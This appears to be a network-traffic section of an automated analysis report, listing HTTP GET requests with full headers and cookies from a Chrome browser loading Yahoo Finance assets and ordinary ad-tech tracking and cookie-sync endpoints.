Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Spinner.DBQ4b_Oq.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAEYBSgCMgsImMDYpOHfsD0QBTgB
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/MOSTLY_SUNNY.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aoldotcom-releases/games/masque/SolitaireClassic_600x400.png HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/openx/1d1d5d09-d0b5-a85e-6fc0-6f55ed82d00e?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Autocomplete.q9sgwYZU.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/AddToFollowing.Cg_49_NO.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.prebid.144.js HTTP/1.1Host: static.criteo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=ZvreFAAGJF7U4wAF&_test=ZvreFAAGJF7U4wAF HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /xuid?mid=3658&xuid=07c89b85-4c1c-424d-8df0-0123ed6cebb6&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=56135341&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/taboola-ifs/1/um/?uils=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380!-%23%40718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383 HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.taboola.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_pid=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /v000/sync?extinit=0&userid=7992184014990425658&pn_id=an HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Dialog.Ch6G-Ji-.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/MenuSurface.B2lZ9U34.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /r/cs?pid=45&id=RX-3fef85e6-bbf0-409a-a376-6c1ad497756a-003&rndcb=5981760910 HTTP/1.1Host: ad.turn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xuid?mid=5989&xuid=CAESEOe2R8T-8keCMBRyELE2mow&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/sortable.CfnaMg_z.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/PositionDeleteMessage.B-8pT6wm.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=d10c4730-5cb3-81ed-9e19-fb377ae6d6a7 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
